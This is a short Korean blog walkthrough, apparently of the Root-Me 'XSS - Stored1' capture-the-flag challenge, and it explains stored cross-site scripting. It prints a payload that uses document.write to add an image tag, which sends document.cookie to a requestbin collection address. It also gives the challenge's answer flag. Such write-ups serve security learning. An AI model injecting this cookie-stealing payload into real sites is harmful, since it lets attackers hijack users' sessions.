root-me-client

root-me web-client 10번 문제 풀이(XSS - Stored1)

webhacking지구 2021. 10. 1. 18:53

들어가 보시면 이렇게 문제가있습니다.

이름을 보시면 stored1이라는데 stored이란 악성 스크립트가 서버 내에 존재하는 데이터베이스 또는 파일 등의 형태로 저장되어 있다가 사용자가 저장된 악성 스크립트를 조회하는 순간 발생하는 형태의 xss입니다. 

이 stored는 사용자의 입력 과정에서 부재로 html을 그대로 출력하게 됩니다 예를 들어  <script>alert("document.domain");</script>를 넣었다 하면 html에서는 이것을 그대로 명령어로 받아들입니다.

이제 시작하겠습니다.

풀이:

저는 일단 

도메인은 없는거같습니다 쿠키를 보면 

아무것도 일어나지 않았습니다. 저는 그래서 

서버를 이용해야 한다는것을 알았고 

https://requestbin.net/

 

RequestBin — Collect, inspect and debug HTTP requests and webhooks

 

requestbin.net

을 이용하여 풀어줬습니다 이 앱에 들어가면 임시의 서버를줍니다 그것으로 url을하고 자바스크립트로 코드를 짜주면 됩니다. 해보겠습니다 

이렇게 해주면 서버에서는 아래보이는것처럼 뜨는것을 볼수 있을겁니다

<script>document.write("<img src=받은 주소?="+document.cookie+"'></img>");</script>

답은 NkI9qe4cdLIO2P7MIsWS8ofD6

끝^^